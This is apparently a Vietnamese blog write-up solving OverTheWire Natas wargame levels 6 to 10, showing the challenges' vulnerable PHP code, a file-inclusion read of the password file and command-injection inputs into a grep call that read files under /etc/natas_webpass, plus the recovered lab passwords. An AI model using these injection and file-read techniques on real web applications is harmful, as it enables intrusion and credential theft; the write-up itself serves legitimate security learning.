[Writeup] [OverTheWire] [Natas] Level 6 → Level 10

Standard

Lời nói đầu

  • [Writeup] [OverTheWire] [Natas] Level 0 → Level 5
  • Các level đầu khá đơn giản nên mình sẽ đặt chung vào một bài viết.
  • Độ khó của bạn Natas này là basic (giống như bạn ấy tự giới thiệu). Nhưng với mình thì chẳng hề… khó chút nào emo_popo_beat_brick j/k
  • Mình hiện đang song song hoạt động ở blog này và http://forum.botbie.com/forum.php (mới mở). Sau này nếu bên đó ổn định thì cũng khó nói, nên tốt nhất các bạn cứ follow cả hai trang :”>

Level 6

18-08-2013 00-03-30

Xem source:

<?

include "includes/secret.inc";

    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }
?>

Có thể thấy rằng biến $secret được dùng để so sánh, nhưng nó lại không được khai báo trong file index.php. Vậy nó sẽ nằm trong file secret.inc. Truy cập:

Ra trang trắng tinh, xem source:

<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>

Quay lại submit với secret như trên:

Access granted. The password for natas7 is 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9

natas7:7z3hEENjQtflzgnT29q7wAvMNfZdh0i9

Level 7

Xem source:

<body>
	<h1>natas7</h1>
	<div id="content">

		<a href="index.php?page=home">Home</a>
		<a href="index.php?page=about">About</a>
		<br>
		<br>

		<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
	</div>
</body>

Với dạng ?page=xxx, có thể nghĩ ngay đến Remote File Inclusion, và gợi ý đề đường dẫn nằm trong source cũng một phần góp thêm lý lẽ cho quan điểm ấy.

Truy cập:

Kết quả:

DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

natas8:DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

Thực ra mình không nghĩ là sẽ được ngay, vì thường thì cái xxx trong ?page=xxx chỉ là tên file (không bao gồm phần mở rộng), nên nếu ta include path chứa password theo kiểu paste đại vô thì sẽ không được. Nhưng thôi, chờ cơ hội thích hợp sẽ quay lại với nó sau.

Level 8

18-08-2013 00-03-30

Xem source:

<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
	return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
	if(encodeSecret($_POST['secret']) == $encodedSecret) {
		print "Access granted. The password for natas9 is <censored>";
	} else {
		print "Wrong secret";
	}
}
?>

Như vậy là secret của ta sau khi được encode thì phải bằng với một giá trị hardcode có sẵn. Hàm encode:

y = bin2hex(strrev(base64_encode(x)))

Chú ý rằng bin2hex đây là hàm của php, convert một xâu từ ascii sang hex. Tìm x bằng câu lệnh sau (nguyên tắc Đi rẽ trái – Về rẽ phải):

<?php
$encodedSecret = "3d3d516343746d4d6d6c315669563362";

echo base64_decode(strrev(hex2bin($encodedSecret)));
?>
oubWYf2kBq

Submit với secret thu được:

Access granted. The password for natas9 is W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

Level 9

18-08-2013 00-34-05

Xem source:

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>

Cú pháp lệnh grep có thể tham khảo tại:

Do biến $key không bị escape, ta có thể inject bằng input sau:

'' /etc/natas_webpass/natas10;

Kết quả:

nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

Sở dĩ biết được đường dẫn chứa password là dựa vào thông tin được cung cấp từ đầu trò chơi:

Each level has access to the password of the next level. Your job is to somehow obtain that next password and level up. All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the file /etc/natas_webpass/natas5 and only readable by natas4 and natas5.

Level 10

18-08-2013 00-41-48

Hừm, có vẻ như đã escape mất rồi emo_popo_sweat Xem source:

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>

Như vậy các ký tự bị lọc là:

[ ; | & ]

Cũng đâu có sao nhỉ, không có ; thì cũng vẫn được mà emo_popo_haha Inject với input:

'' /etc/natas_webpass/natas11

Kết quả:

/etc/natas_webpass/natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
dictionary.txt:
dictionary.txt:African
dictionary.txt:Africans
dictionary.txt:Allah
dictionary.txt:Allah's
...

natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

One thought on “[Writeup] [OverTheWire] [Natas] Level 6 → Level 10

  1. Pingback: [Writeup] [OverTheWire] [Natas] Level 11 | yeuchimse

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s